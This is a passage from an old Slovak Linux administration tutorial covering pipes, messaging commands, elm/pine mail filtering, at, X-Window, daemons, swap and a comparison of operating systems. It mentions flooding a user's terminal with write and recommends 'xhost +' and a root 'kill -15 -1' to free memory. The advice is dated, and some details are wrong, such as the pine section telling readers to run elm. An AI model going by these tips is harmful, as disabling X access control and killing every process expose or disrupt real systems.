Pipelineing umoznuje jadro takto: Ak shell po analyze prikazoveho riadku detekuje znak |, spusti dva nezavisle procesy - program pred znakom | a za znakom | ( najprv spusti druhy program a potom prvy, ale to je len poradie spustania, bezat budu sucasne ) a prepoji vystup prveho na vstup druheho volanim funkcie pipe jadra Linuxu. Rury je mozne spajat. Prikaz cat ( concatenate = spoj ) sa casto pouziva na spajanie suborov. Vypise cely subor na obrazovku monitora. Ak mu zadame viac suborov, vypise vsetky zaradom. To sa vyuziva na spajanie suborov takto

$ cat subor1 subor2 > subor3
$
Prave na prikaze cat si ukazeme kolonu - spojenie viacerych prikazov rurou.
$ cat subor1 | grep peniaze | more
Program cat v tejto kolone zobrazi subor1 - posle ho ( nevediac o tom ) na vstup programu grep, ten vo svojom vstupe ( nevediac odkial ho ma ) vyhlada vsetky riadky obsahujuce retazec peniaze a posle ich na svoj vystup presmerovany na standardny vstup programu more. Filter more potom vstup, ktory dostava, po obrazovkach zobrazi na monitore. Hlavnou vyhodou rury je to, ze programy bezia paralelne - netreba cakat na ukoncenie programu cat, kym sa spusti program grep ani na ukoncenie programu grep, kym sa moze spustit program more. Toto bol len priklad, nasledujuce prikazy su ucinkom ekvivalentne
$ cat <subor1 | grep peniaze | more
$ cat subor1 | grep peniaze | more
$ grep peniaze <subor1 | more
$ grep peniaze subor1 | more
Existuje este jeden zaujimavy filter. Ma nazov wc ( word count = spocitaj slova ). Teno program spocita vsetky riadky, slova a znaky daneho suboru alebo presmerovaneho vstupu:
$ wc sysadmin.txt
3826 24159 153444 sysadmin.txt
$
Najmensie cislo ( 3826 ) udava pocet riadkov v subore sysadmin.txt, vacsie cislo (24159) udava pocet slov a najvacsie cislo (153444) udava pocet znakov. Je mozne vyziadat si len jedno z cisel. Prepinac -l spocita len riadky ( lines ), -w spocita len slova ( words ) a -c znaky ( characters ). Ak nezadame ziaden prepinac, predvolia sa vsetky prepinace. Nasledujuce dva prikazy maju rovnaky ucinok:
$ wc sysadmin.txt
3826 24159 153444 sysadmin.txt
$ wc -lwc sysadmin.txt
3826 24159 153444 sysadmin.txt
$ wc -clw sysadmin.txt
3826 24159 153444 sysadmin.txt
$
Ale co ak potrebujeme spocitat pocet stran textu ? Mozeme vychadzat z predpokladu, ze vacsina tlaciaren tlaci 65 riadkov na stranu. Pocet riadkov udanych programom wc teda predelime cislom 65. Tak mozeme zistit, ze v tejto chvili ma subor sysadmin.txt 3826 / 65 = 59 stran. A puntickari mozu zistit, ze na jednu stranu v priemere pripada 410 slov resp. 2607 znakov :-).

NARODNA PODPORA

V Linuxe je mozne nainstalovat podporu neanglickej klavesnice ako aj neanglickych fontov. Ak ju uz nainstalovanu mate, medzi slovenskou (ceskou) a anglickou klavesnicou sa mozete prepinat napriklad tlacidlom <PAUSE>.

Slovensku a cesku narodnu podporu je mozne stiahnut si z anonymneho servra ftp.dcs.muni.cz z adresara /pub/UNIX/localization/linux. V adresari /pub/UNIX/localization mozno najst aj dalsi zaujimavy softvare.
 

KOMUNIKACIA MEDZI POUZIVATELMI UNIXU

Su tri moznosti, ako komunikovat s inym pouzivatelom. Ak prave pracuje na stroji, mozeme mu pisat priamo na terminal prikazom write ( = pis )
$ write csonto Zdravim Vas a prajem prijemny den ! Stlacim Ctrl-D ( citaj kontrol de' ) ^D
$
Pretoze to umoznuje pisat pouzivatelom priamo na terminal a znervoznovat ich ( kto zabrani neprajnikovi, aby inemu pouzivatelovi neposlal OBROVSKY subor na terminal prikazom
$ write csonto < obrovsky_subor
$
a tym mu znemoznit pracu ), je moznost zakazat tieto vypisy. Pozrime sa prikazom mesg (message = sprava), ci mame tieto prava zakazane
$ mesg
is y
$
Su nastavene na y ( yes = ano ), su teda povolene. Zakazme ich
$ mesg n
$ mesg
is n
$
Obnovit ich mozeme prikazom mesg y. Dalsi, lepsi, program je program talk.
$ talk csonto
zobrazi pouzivatelovi s pouzivatelskou identifikaciou csonto spravu, ze s nim chcem rozpravat. Ak sa rozhodne si so mnou pokecat, napise
$ talk milan
a hura - spojenie je naviazane. Ked budeme chciet ukoncit nas pisomny rozhovor stlacime Ctrl-C.

Spravu mozeme poslat aj vsetkym aktualne prihlasenym pouzivatelom sucasne pomocou prikazu wall. Syntax ma podobnu ako prikaz write. Vynechavame vsak meno prijimatela spravy, kedze spravu posielame vsetkym pouzivatelom systemu. Takto zaslat spravu pouzivatelovi, ktory si prijem sprav zablokoval prikazom mesg n moze iba superpouzivatel (superuser), t.j. root.
 

ELEKTRONICKA POSTA
E-MAIL (Electronic MAIL)

Mozme vsak posielat spravu (elektronicku postu) aj pouzivatelovi, ktory momentalne nie je prihlaseny na systeme. Urobime tak programom elm - riadime sa jeho napovedou. Skratka povedane, klavesa m)ail umozni poslat spravu ( = mail ). Za To: napiseme meno adresata. Ak je na inom stroji, musi za jeho menom nasledovat symbolicka adresa stroja oddelena od mena znakom @ ( zavinac ). Priklad
To: csonto@ccsun.tuke.sk
nasledujuce volby staci odklepnut klavesou ENTER ( musite vsak zadat Subject = obsah, tato volba sluzi na to, aby citatel vedel, o com vasa sprava pojednava ). Potom sa vyvola editor, napisete spravu a editor ukoncite ZAPISOM spravy. Objavi sa menu - stlacte s ak chcete poslat spravu ( send = posli ) alebo f, ak ste si to rozmysleli ( forget = zabudni ).

Ak nejaku spravu mate, zobrazi sa vam jej subject. Sipkami chodite po spravach, <medzera> alebo <ENTER> Vam dovolia citat ich. Prikazom d ( delete = vymaz ) spravy mazete. Prikazom q program ukoncite.

Prihlasit sa na inom stroji mozete prikazom

$ telnet clinton@hron.fei.tuke.sk
kde clinton je Vas login na vzdialenom stroji a hron.fei.tuke.sk v nasom priklade je logicka adresa vzdialeneho stroja.

V nazvoch suborov a adresarov sa mozu vyskytovat aj medzery. Mozeme vytvorit adresar s nazvom Toto je pekny adresar

$ mkdir "Toto je pekny adresar"
$
pravda, ak ho chceme uvadzat v ceste, musi byt v uvodzovkach
$ cd Toto je pekny adresar
bash: Toto: No such file or directory
$ cd "Toto je pekny adresar"           staci napisat cd Tot<TAB>
$ pwd
/home/milan/Toto je pekny adresar
$
Ak chcete zmazat obrazovku, ale zachovat obsah prikazoveho riadku, stlacte ^L, t.j. <Ctrl-L>.

OZNAMENIE O NOVEJ DOSLEJ POSTE

Ak Vam dojde nova sprava, mozete byt o nej pomerne rychlo informovani, ak pouzijete program biff. Do jedneho z automaticky vykonavanych skriptovych suborov (napriklad do suboru .login) napiste na samostatny riadok prikaz biff y.

TRIEDENIE DOSLEJ POSTY

Doslu postu je mozne triedit podla roznych pravidiel. Napriklad je mozne postu triedit podla odosielatela. Nasleduje popis prikladu, ako ukladat doslu postu z mail servra karmel@savba.sk v operacnom systeme UNIX tak, aby sa nemiesala s ostatnou postou. Uvedeny postup pracuje, ak spravy citate jednym z oblubenych mail-readerov, napriklad programom elm alebo pine. Posta sa bude ukladat do zvlastneho foldra s nazvom karmel. Ak nerozumiete tomu, co tu pisem, na konci je priamy popis prikazov, takze ich staci od slova do slova opisat.

1. Vo vasom domovskom adresari vytvorte (pod)adresar s nazvom .elm. Musi zacinat bodkou! Je mozne, ze uz existuje, ak na citanie sprav pouzivate program elm. Novy pokus o vytvorenie nevadi, len UNIX vypise spravu, ze adresar uz existuje:

$ mkdir .elm
$
2. Vytvorte subor pravidiel (tu nam staci jedno) na presmerovanie posty do foldra s nazvom karmel. Tento subor bude v adresari .elm a bude sa volat filter-rules. Vlozte don riadok
if (from = "karmel") then save "~/Mail/karmel"
3. Vo svojom domovskom adresari vytvorte subor s nazvom .forward obsahujuci text
|/usr/bin/filter
Vzdy, ked vam dojde sprava, najprv sa odovzda programu filter. Ten zisti, ci je nanho aplikovatelne pravidlo zo suboru .elm/filter-rules a podla toho sa chova. Pozor, program filter sa nemusi nachadzat v adresari /usr/bin/filter. V tom pripade vam neostava nic ine, len ho vyhladat prikazom
$ find / -name filter -print | more
$
a potom uviest spravnu cestu k nemu. No a ako zistime, ci sa program filter nachadza v adresari /usr/bin? Prikaz
$ ls /usr/bin/filter
$
nesmie skoncit chybovym hlasenim, ale mal by vypisat slovo filter alebo /usr/bin/filter.

Zhrnutie: K uspechu povedu nasledujuce 3 prikazy:

$ mkdir .elm
$ echo "if (from = \"karmel\") then save \"~/Mail/karmel\"" > .elm/filter-rules
$ echo "|/usr/bin/filter" > .forward
$
AKO CITAT PRESMEROVANE SPRAVY
POUZIVATELIA PROGRAMU ELM
Ak citate spravy programom elm, po jeho vyvolani prikazom
$ elm
$
mozete normalne citat spravy. Avsak neuvidite ziadnu novu spravu od odosielatelov s menom karmel (pochybujem, ze by okrem karmel@savba.sk mal este niekto takyto login). Ak chcete citat spravy od karmel@savba.sk, na najvyssej urovni programu elm stlacte klavesu c (skratka pre change folder). Pod riadkom
Command: Change folder                (Use '?' for help)
sa objavi otazka
Change to which folder:
a napiste slovo =karmel. Tym sa prepnete do foldra karmel. Spat do zakladneho foldra sa prepnete podobnym sposobom, klavesou c a potom napisete !. Vykricnik je skratka pre zakladny folder.
ZHRNUTIE:       Prepnutie na karmel     c       =karmel
                Prepnutie nazad         c       !
Upozornenie: Ak vo foldri karmel nebude ziadna sprava, program elm pri pokuse prepnut sa nan zahlasi chybu. Znamena to len tolko, ze tam v danej chvili nie su ziadne spravy.
POUZIVATELIA PROGRAMU PINE
Program pine je kompatibilnejsi, pretoze nema problem s citanim sprav v tzv. MIME formate. Preto som ho zacal pouzivat namiesto programu elm. Ak citate spravy programom pine, po jeho vyvolani prikazom
$ elm
$
mozete normalne citat spravy. Avsak neuvidite ziadnu novu spravu od odosielatelov s menom karmel (pochybujem, ze by okrem karmel@savba.sk mal este niekto takyto login). Ak chcete citat spravy z karmel@savba.sk, jednoducho si v menu s nazvom FOLDER-LIST zvolte folder s nazvom karmel. Je tu ale jeden problem, pine nepouziva adresar Mail, ale mail. To znamena, ze pravidlo subor filter-rules musite pozmenit - v slove Mail zamenit velke M na male m. Druhy prikaz pri vytvarani pravidiel teda musi mat tvar
echo "if (from = \"karmel\") then save \"~/mail/karmel\"" > .elm/filter-rules
Zakladny folder ma nazov INBOX. Ak sme v lubovolnom foldri, do menu s ponukou vsetkych foldrov sa dostaneme prikazom l.
Zhrnutie:       Nazov zakladneho foldra je              INBOX
                Zoznam foldrov zobrazime prikazom       l
                Do hlavneho menu sa dostaneme prikazom  m
                Vsetko ukoncime prikazom                q

VYKONAVANIE ULOH V STANOVENOM CASE

Vykonanie nejakej ulohy v stanovenom case umoznuje program at:
$ at 7:20 pm
spust
^D
$
Vsimnite si, ze je najprv potrebne stlacit klavesu <Enter> a az potom napisat, co sa ma v danom case urobit (v uvedenom prikaze sa ma vykonat sada prikazov napisana v subore spust). Program at umoznuje siroku skalu formatov stanovovania casu. Ak napriklad chceme, aby sa prikazy zo suboru subor vykonali o 5 minut, mozeme napisat:
$ at now + 5 minutes < subor > /dev/null 2>&1
$
Inou moznostou je pouzitie programu crontab, ktory programy spusta pravidelne (nie iba raz), napriklad kazde 2 hodiny.
 

X-WINDOW

SPUSTENIE A OVLADANIE X-WINDOW

Graficke rozhranie (GUI = Graphical User Interface) X-Window mozeme spustit prikazom
$ startx
a implicitne sa bude pouzivat 8-bitovy graficky mod ( 28 = 256 farieb ), ak tento mod podporuje graficka karta pocitaca. Ak graficka karta resp. jej ovladac podporuje vacsiu hlbku farieb ( teda viac ako 8 bitov ), mozeme system X-Window spustit prikazom:
$ startx -- -bpp 16
ktory spusti GUI so 16 bitovou hlbkou (216 = 65536 farieb). Prikaz
$ startx -- -bpp 24
mozeme pouzit pre spustenie GUI s true color grafikou (16 milionov farieb - prave farby pouzivane v MS-DOS a Microsoft Windows), respektive
$ startx -- -bpp 32
pre extended true color ("perfektne" farby). Mod s 32 bitovou hlbkou vsak podporuju len niektore graficke karty, napriklad graficke akceleratory s cipom S3. Okrem toho, ovladace nemusia podporovat vsetky mody (hlavne u novsich grafickych kariet). Vacsinou vsak staci pockat na novsiu verziu Linuxu Slakware resp. X-Window, s ktorymi ziskame aj najnovsie ovladace.

Graficke rozlisenia mozeme pocas behu X-Window prepinat kombinaciou klavse 'Ctrl Alt +' a 'Ctrl Alt -'.

V pripade havarie systemu X-Window je mozne ukoncit GUI stlacenim klaves 'Ctrl Alt Backspace'. Klavesa backspace zvykne byt oznacena slovami back, backspace alebo sipkou dolava. Vacsinou byva umiestnena nad velkou klavesou Enter. Nie je to kurzorova sipka dolava !

System X-Window ma na rozdiel od systemov Microsoft Windows ci OS/2 k dispozicii cele mnozstvo manazerov 'okien' - programov zodpovednych za vzhlad Vasej obrazovky - vzhlad okien, manipulaciu s nimi atd. Jednym z najcastejsie pouzivanych je Open Look Virtual Window Manager ( olvwm ). Existuje aj rozhranie fvwm95 - manazer okien podobny rozhraniu Windows '95. Jeho domovska stranka na INTERNETe je:

http://ltiwww.epfl.ch/~barth/fvwm95.html
Pod systemom X-Window mozno mate nainstalovane prezerace www stranok INTERNETu. Najcastejsie to byva program Netscape. Mozte sa pokusit spustit programy 'netscape' ci 'arena'.

OKNA

V nasej rozprave o X-Window budeme chvilu pokracovat. Ak ste napojeni na siet, mozete svoje programy spustit tak, aby bezali na inom terminali. Spustite nejaky emulator terminalu ( tym sa Vam spusti aj shell ). Nastavte premennu environmentu DISPLAY na hodnotu, aku ma na terminali, na ktorom chcete svoj program otvorit. To je vsetko. Potom program spustite. Dokonca sa z terminalu, na ktorom prave pracujete mozete odhlasit a program na druhom terminali pobezi dalej, ak napisete:
$ nohup vas_program &
$
Tento postup pravdepodobne neuspeje (vyhlasi chyby = errors) v pripade, ze sa pokusate zapisovat na konzolu (terminal napojeny priamo na pocitac) alebo na terminal ineho stroja. Potrebujete, aby ten, kto sedi za danym grafickym terminalom, zapis povolil prikazom na zrusenie ochrany
$ xhost +
acces control disabled, clients can connect from any host
$
Ak potrebujete naopak ochranit svoj terminal pred zobrazovanim cudzich okien a zabranit inym pouzivatelom, aby prikazom xkill vymazavali vase okna (aj to sa da), napiste
$ xhost -
acces control enabled, only authorized clients can connect
$
Pre detailnejsie informacie vas odkazujem na prikaz 'man xhost'.

Ak potrebujete na chvilu odist od terminalu a mate spusteny system X-Window, mozete spustit program xlock. Hladajte v menu, ktore sa objavi po stlaceni jedneho z tlacidiel mysi ( praveho u manazera okien olvwm ci olwm, laveho u fvwm ci fwm ) - skusajte vsetky tlacidla a menu. Tak, ci tak by ste sa mali so systemom X-Window zoznamit metodou pokus-omyl. Nebojte sa experimentovat. Tym som ale uz zasiahol do sieti, ktorym som sa v tejto ucebnici nemienil venovat. Popisme si radsej zabavnejsiu cast Linuxu.

TK DESKTOP

Perfektny desktop umoznujuci rychlu pracu so subormi a adresarmi, a lahku editaciu suborov sa nazyva Tk Desktop a da sa v systeme X-Window spustit napriklad z emulatora terminalu prikazom
$ tkdesk &
$

HRY

Nakoniec, pod X-Window su casto dodavane hry. Ale aj v klasickom rezime existuju hry - graficke ( 'lizards', 'sastroid'), ale aj hry cisto v textovom rezime ( 'tetris' for terminals ). Na niektorych systemoch byva nainstalovana hra `doom'.

PROGRAMOVANIE

Pohodlne generovanie programov pre X-window v jazyku C++ umoznuje program uib distribuovany pod nazvom OI. Cely nazov spustacieho suboru byva /usr/X11/bin/uib. OI nebyva standardnou sucastou programoveho vybavenia UNIX-like pracovnych stanic. Je pomerne drahy.

Prijemne generovanie programov pre X-window v jazyku C umoznuje program xwpe (asi skratka z vyrazu X-Window Programming Environment). Ide o prostredie pripominajuce programovacie prostredia firmy Borland.

DALSIE INFORMACIE

Dalsie informacie o operacnom systeme Linux sa mozete dozvediet zo skoliciek (v cestine) na INTERNETovskej adrese: http://www.paru.cas.cz/~hubicka/skolicky/ alebo sa dozvediet resp. opytat na konferencii: cz.comp.linux.

TEST

Tymto sme zvladli vsetky vlastnosti systemu, ktore by mal systemovy administrator ovladat a mozeme pristupit k systemovej casti prirucky. Najprv si povieme cosi o hardware, potom o instalacii a nevyhnutnej udrzbe systemu.

Skor, nez zacnete citat dalsiu kapitolu, zodpovedzte ( bez odskusania na pocitaci ) nasledovnu otazku:

Co sposobi prikaz

$ echo *
Svoju odpoved zvazte a overte si ju na pocitaci. Ak je chybna, je to znamenie, ze by bolo vhodne precitat si predoslu kapitolu este raz, aj ked uznavam, ze je relativne dlha.

KAPITOLA IV

DISKY A VIRTUALNA PAMAT

Velke disky systemovy administrator casto rozdeli na mensie logicke disky, ktore nazyvame particie. Particie sa z hladiska Linuxu spravaju ako samostatne disky - mozu mat rozny format suborov a mozu byt na nich nainstalovane odlisne operacne systemy. Na jednej moze byt nainstalovany operacny system MS-DOS, na inej Microsoft Windows NT, na dalsej IBM OS/2, na dalsich Linux, Minix, atd. Vzdy na jednej particii maximalne jeden operacny system. To je jedna z vyhod delenia fyzickych diskov na logicke. Dalsou vyhodou je to, ze uz vytvorene particie mozeme pridelovat rozlicnym operacnym systemom. Ak napriklad nemame dost miesta na particii, kde sa nachadza Linux, mozeme programom fdisk oznacit particiu so starym systemom Minix ako Linuxovsku, preformatovat ju na Linuxovsky format ext2 a pridelit ju Linuxu. Hoci nie je nutne formatovat particie na Linuxovsky format, pretoze Linux dokaze pracovat so vsetkymi typmi formatov diskov, Linuxovsky ext2 je najlepsi format pre Linux - a Linux s nim vie pracovat najrychlejsie. Zial, ext2 ( second extended ) format disku ostatne operacne systemy nie su schopne detekovat, co je skoda, pretoze ma viacero vyhod oproti ostatnym formatom diskov. Dalsie informacie si uvedieme neskor.

Linux je schopny fyzicku pamat pocitaca rozsirit na virtualnu pamat. To znamena, ze v pripade nedostatku fyzickej pamati dokaze najmenej pouzivane casti fyzickej pamati ukladat na disk do specialneho suboru alebo particie. Ak nejaky program potrebuje cast pamati, ktora nie je momentalne pritomna vo fyzickej pamati, avsak nachadza sa na disku ( Linux ju tam predtym swapol ), jednoducho sa nahra z disku do pamati a vypocet pokracuje.

Vyhoda swapovania je jasna - virtualna pamat Vasho pocitaca je dana suctom velkosti swapovacich particii, swapovacich suborov a fyzickej pamati pocitaca. Pokial mate 2 MB fyzickej pamati, Linux na vasom pocitaci pobezi, avsak nebudete velmi stastni - bude totiz pracovat dost pomaly, pretoze pri spusteni vacsieho programu bude musiet dost vela MB swapovat na disk. Hoci prenosova rychlost ( rychlost citania resp. zapisu ) dnesnych diskov dosahuje az 10 % rychlosti fyzickej pamati, ich pristupova doba sa stale pohybuje na urovni stotin sekundy, co je velmi vela. Pristupova doba je priemerny cas, kym sa hlavicka disku nastavi nad urcitu stopu, kym sa na nej ustali a kym sa rotujuci disk dostane do takej pozicie, ze sa hlavicka disku nachadza presne nad sektorom, ktory treba precitat. Az potom je mozne zacat citat informaciu z disku. Prenosova rychlost disku je rychlost prenosu informacie z disku do operacnej pamati pocitaca. Informacia sa velmi rychlo nacita do vyrovnavacej pamati ( cache ) disku, odtial sa prekopiruje do na to urcenej casti operacnej pamati a az z nej informaciu nacitava CPU (centralny procesor = centralna procesorova jednotka = Central Processor Unit = univerzalny procesor) a umiestnuje ju do tej casti pamate, kde je potrebna Preto nie je vhodne spustat Linux na pocitaci s menej ako 4 MB fyzickej pamati. Pokial chcete pouzivat X-window, pobezi aj so 4 MB pamati, avsak v literature sa udava, ze s 8 MB fyzickej pamati pobezi az 10-krat rychlejsie.

Pokial na Vasom pocitaci pracuje naraz vzdy len jeden clovek a chcete spustat programy pre X-window, literatura odporuca, aby velkost virtualnej ( t.j. suma velkosti fyzickej a swapovacej ) pamati bola aspon 16 MB.

Moja osobna skusenost hovori, ze je rozumne mat velkost virtualnej pamati az 32 MB. Samozrejeme, cim viac fyzickej pamati mate, tym je system rychlejsi. Hoci so 4 MB RAM ( RAM = random acces memory = fyzicka pamat ) uz system pobezi, literatura uvadza ako rozumne minimum 8 MB RAM. 12 MB Vam umozni celkom rychlu pracu. A nakoniec, 16 MB RAM Vam uplne postaci.

Ak mate az 32 MB RAM, swapovaciu particiu nepotrebujete vobec. Ak totiz nepouzivate rozsiahle CAD programy alebo animacny ci graficky software, vyuzijete maximalne 16 az 24 MB RAM. Stale vsak swapovaciu particiu vytvorit mozete, ak to uznate za potrebne. Ja osobne na pocitaci pracujem sam, ziaden rozsiahly ( pamatovo narocny ) software nepouzivam, a predsa mam 64 MB virtualnej pamati ( 24 MB fyzickej ). Realne sa mi z virtualnej pamati len zriedka vyuzije viac ako 10 MB, avsak mam takmer na sto percent zarucene, ze nenastane situacia, ze nejaky program nebude mat dostatok pamati.

Pri vytvarani swapovacej particie majte na pamati nasledovne pravidla:

1. Ked system naswapuje viac ako stvornasobok fyzickej pamati, je prakticky nepouzitelny, je totiz velmi pomaly. Nikdy preto nerobte swap dohromady vacsi ako stvornasobok pamati RAM. Ak mate 2 MB RAM, spustat X-window je samovrazda.

2. V pripade potreby mozete pouzivat aj swapovaci subor. Linux s nim vsak pracuje omnoho pomalsie ako so swapovacou particiou. Pouzijete ho hlavne vtedy, ked na urcitu kratsiu dobu ( cca 1 mesiac ) budete potrebovat rozsirit svoju virtualnu pamat alebo ked instalujete Linux na DOS particiu a nechcete delit disk na particie.

SYSTEMY S MALOU FYZICKOU PAMATOU

Ked sa pri spusteni Linuxu system zavedie do pamati, natiahne sa zakladne jadro a niekolko demonov. Demon nie je hrozne strasidlo, je to program, ktory nesuvisi so ziadnym terminalom. Demoni cakaju na nejaku udalost - spia, teda nezaberaju ziaden strojovy cas. Jadro Linuxu ich z casu na cas prebudi aby vykonali svoju cinnost. Tu je priklad:
demon       cinnost
init        inicializuje system pri prepnuti do roznych rezimov jadra:
            jednouzivatelskeho, mnohouzivatleskeho; rezim, v ktorom bezi
            len X-Window ( init = initialize the system runlevel )
lpd         sleduje, ci niekto nechce tlacit na tlaciarni a ak ano, tak
            zacne tlacit ( lpd = line print daemon ) Linuxacky lpd iba
            "spi" a zobudi ho az program lpr.
sendmail    sleduje, ci niekto nechce poslat e-mail - elektronicku postu
            ( sendmail = send the user's ( electronic ) mail )
update      obcerstvuje systemove a diskove tabulky ( Linux nema FAT
            ako MS-DOS, ale urcite tabulky predsa len potrebuje )
            ( update = update the system and disk tables )
bdflush     vyprazdnuje cache pamat ( jej obsah umiestnuje na disk )
            ( bdflush = flush blocks to the disk )
gpm         je to ovladac zobrazovania mysi - caka na pohyb mysou ci
            stlacenie jej tlacidla ( gpm = general purpose mouse support )
Toto su len priklady daemonov, Vas system ich v skutocnosti moze mat ovela viac - celu kopu pre pracu so sietami ci modemom. Ak vsak mate menej ako 12 MB RAM, mozete Linux urychlit tym, ze niektorych demonov zrusite a tym uvolnite cast pamate RAM - Linux nebude musiet tolko swapovat. Su v podstate dve moznosti, ako to urobit.

1. Mozete okomentovat prislusne riadky, ktore demonov startuju v subore /etc/inittab a v suboroch v adresari /etc/rc.d. Samozrejme pravo zapisu do tychto suborov mate len ako root. Tato metoda nie je pre zaciatocnika prilis vhodna, pretoze si nemusi zapamatat zmeny, ktore urobil. Je vhodne robit si zalohy tychto suborov pri kazdej zmene. Ak niekedy budete potrebovat spustit niektorych demonov, moze Vam trvat pomerne dlho, kym najdete prislusny subor. Vynimkou su virtualne terminaly. Ak stlacite kombinaciu klaves Alt-F2, prepnete sa akoby na inu konzolu, kde sa mozete prihlasit ako lubovolny pouzivatel a spustat lubovolne programy. Takychto virtualnych konzol ( konzola je terminal pripojeny priamo na pocitac, teda nie emulaciou terminalu po sieti ci telefonnej linke ) byva vacsinou 6 a tiez zaberaju urcity priestor v pamati. Mozete citit potrebu znizit ich pocet ( ja pouzivam len 3 a stacia mi ) okomentovanim riadkov zacinajucich pismenami

c1:
c2:
c3:
c4:
c5:
c6:
niekde pred koncom suboru /etc/inittab. Neokomentujte vsetky riadky, nechajte aspon jeden, inak sa Vam pri dalsom spusteni systemu nepodari prihlasit.

POZNAMKA: Ak pouzivate system X-window, prepinanie medzi konzolami sa deje kombinaciou klaves Ctrl-Alt-F1 az Ctrl-Alt-F7, kde posledna konzola je X-windows session - Vasa graficka konzola. V pripade nudze mozete X-window session ukoncit kombinaciou klaves Ctrl-Alt-Backspace.

2. Ovela jednoduchsou metodou je prihlasit sa po startnuti systemu ako pouzivatelska identifikacia root a napisat:

# kill -15 -1
co sposobi okamzite korektne ukoncenie vsetkych demonov ale aj relacii vsetkych pouzivatelov.
Stav po killnuti vsetkych procesov:

Jadro Linuxu nedovoli ukoncit demona init ale ten nestartne demonov z tabulky /etc/inittab ( inittab = system initialization table = inicializacna tabulka systemu ). Demon update by sa ukoncit nemal. Ak ale prikazom ps zistite, ze nie je spusteny, bude nevyhnutne spustit ho prikazom

# update
Prikaz update spusti demona s nazvom update a ten spusti demona bdflush. Bez tychto demonov by sa na disk nedalo nic zapisat. Nepomohol by ani prikaz sync, ktory inak uklada systemovu cache pamat. Hoci by sa tvaril, ze vsetko je OK. Ked potrebujete este niekolko dalsich demonov ( pre mys ci tlac programov ), musite ich zadat rucne. Zakladny problem, ktory pri rucnom spustani daemonov nastava je, ze niektori demoni sa sami hodia do pozadia, na ukoncenie inych shell caka ( a nevypise vyzvu ). Je potrebne spustat ich na pozadi, t.j. so znakom ampersandu & na konci prikazu. Priklad
# lpd          Spusti demona pre tlac, ten sa sam hodi do pozadia.
# gpm -t msc & Spusti ovladac trojtlacitkovej mysi MouseSystems na pozadi.
               (To je len priklad, gpm sa tiez sam hodi na pozadie.)

KAPITOLA V

I N S T A LA C I A

Skor, nez zacnete citat tuto kapitolu, precitajte si kapitolu V: Disky a virtualna pamat.

Mozno prave stojite pred dilemou - nainstalovat Linux alebo Microsoft Windows NT ? A predpokladate, ze patrim k ludom, ktori maju radi len jedinu vec a na ostatne zanevru - teda, ze poviem "rozhodne Linux". Nie je to pravda. Teraz popisem zakladne rozdiely medzi Linuxom a ostatnymi kvalitnymi operacnymi systemami.

OS/2, WINDOWS NT a LINUX su plne 32 bitove operacne systemy s dobrou ochranou pamati a suborov. Linux mozete ziskat zadarmo, IBM OS/2 aj MICROSOFT WINDOWS NT su komercne systemy. Ich cena sa pohybuje na urovni stovak US dolarov. Maju vsak vyhodu, ze je pod nimi urobenych ovela viac programov ako pod Linuxom - aj ked tiez vacsinou komercnych. Praca s nimi je lahka, intuitivna a rychla. Nie je nutne cele hodiny studovat manualy, aby ste rozbehali zakladne veci.

Vsetky 3 systemy su schopne spustat aplikacie pre MS-DOS ( hardwareovo - softwareovou emulaciou - vyuzivaju "virtualny" rezim prace procesorov Intel APX 80386 +). "Rozbehanie", t.j. instalacia a spojazdnenie WINDOWS NT resp. OS/2 je ovela jednoduchsie ako u Linuxu, na ktoreho spojazdnenie potrebuje NESKUSENY pouzivatel dlhsiu dobu. Pouzitie sietovania vratane TCP/IP je v komercnych systemoch ovela jednoduchsie ako v Linuxe. Ovladanie Linuxu je sice s novymi verziami stale prijemnejsie, vzdy je vsak potrebna pomerne dobra vedomostna zakladna pouzivatela, zatial co Windows by po kratkej instruktazi bol schopny pouzit aj pocitacovy analfabet. WINDOWS NT aj OS/2 sa "prizivili" na poznatkoch velkych UNIXovych systemov.

Pouzitie Linuxu ma teda len jedinu vyhodu - moznost spustat programy dostupne na velkych systemoch, z ktorych prakticky vsetky (az na niektore stroje firmy IBM) pouzivaju ako operacny system "klony" UNIXu. Ich ovladanie vsak v ziadnom pripade nemozno oznacit za jednoduche.

Rozlicne verzie WINDOWS ( nie WINDOWS NT ) su 16 bitove operacne systemy s velmi slabou ochranou pamati a bez ochrany suborov. Windows '95 su akymsi medzistupnom medzi systemami Windows a Windows NT. Stale su totiz postavene nad MS-DOSom a stale maju pomerne slabu ochranu pamati a vobec ziadnu ochranu suborov. Maju vsak vylepseny multitasking a vyuzitie pamati a su vraj 32 bitove. Rozhodne maju rychlejsiu grafiku ako predosle verzie 16 bitovych Windows. Windows '95 umoznuju beh 32 bitovych aplikacii, ale kniznicu Win32 maju neuplnu. Dalej ( na rozdiel od Linuxu ) aplikacie z dovodu setrenia pamatou pouzivaju ten isty pamatovy priestor. Preto padom jednej z nich mozu zamrznut aj niektore ostatne aplikacie ci dokonca cely operacny system... Windows NT pouzivaju oddeleny pamatovy priestor pre jadro systemu a oddeleny pamatovy priestor pre ostatne aplikacie. Pouzivatelske aplikacie tak zdielaju jediny pamatovy priestor ( opat z dovodu setrenia pamatou ) a pad jednej z nich moze sposobit pad ostatnych ( avsak uz nie operacneho systemu ). U operacneho systemu Microsoft Windows NT je vsak na rozdiel od operacneho systemu Microsoft Windows '95 mozne nastavit, aby kazda aplikacia bezala v oddelenom pamatovom priestore. Na celej situacii je najzaujimavejsie to, ze Windows NT ( na rozdiel od operacneho systemu OS/2 ) nedefragmentuje pamat pridelenu (po)uzivatelovym aplikaciam a po urcitom case pouzivatel citi vyrazne pomalsi beh aplikacii. Jedinym riesenim je odhlasenie sa a opatovne prihlasenie sa pouzivatela do systemu.

Avsak aj system X-Window sa chova divne - ak nejaka pod nim beziaca aplikacia potrebuje pamat, system X-Window ( ak uz vycerpal svoje rezervy ) si pamat vyziada od operacneho systemu ale uz mu ju po skonceni aplikacie nevrati. Vysledkom toho je, ze ak chybne napisane programy ( napriklad Netscape ) pozaduju stale viac a viac pamate, operacny system im ju prideluje a aplikacie bezia stale pomalsie a pomalsie... Je preto vhodne aspon raz za tyzden ( ale najlepsie aspon raz za den ) na konzole pocitaca zhodit X-server ( program umoznujuci beh X-Window ) klavesovou skratkou Ctrl-Alt-Backspace. Dufajme, ze nasledujuce verzie X-Window tento neduh odstrania.

HARDWAREOVE POZIADAVKY OPERACNYCH SYSTEMOV

OPERACNY SYSTEM ZABERA NA DISKU MINIMUM RAM ROZUMNA RAM
MS-DOS X.XX 5 MB 640 KB 4 MB
WINDOWS 3.XX 11 MB 4 MB 8 MB
WINDOWS '95 40- 60 MB 12 MB 24 MB
